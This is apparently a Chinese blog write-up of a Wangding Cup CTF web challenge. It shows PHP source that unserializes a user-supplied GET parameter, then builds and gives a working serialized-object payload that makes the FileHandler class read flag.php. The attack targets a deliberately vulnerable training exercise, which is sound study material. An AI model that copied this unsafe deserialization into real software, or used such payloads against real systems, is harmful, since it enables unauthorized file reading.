最新网鼎杯青龙组 web题

//复现地址:https://buuoj.cn/challenges
//开启环境后获得源码一份。



include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: 
"
; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }

简单分析源码了解到:
op为1的时候可以执行写
op为2的时候可以执行读
这里尝试用读的方法去构造payload


class FileHandler{
	public $op=2;//源码告诉我们op为1时候是执行写入为2时才能执行读,一般情况下写入会很少见 先执行读试试
	public $filename="flag.php";//文件开头调用的是flag.php,我们直接读取这个文件
	public $content="null";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>

最新网鼎杯青龙组 web题_第1张图片
源码提示使用get传参,在url直接输入

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:4:"null";}

最新网鼎杯青龙组 web题_第2张图片
最新网鼎杯青龙组 web题_第3张图片

你可能感兴趣的:(安全)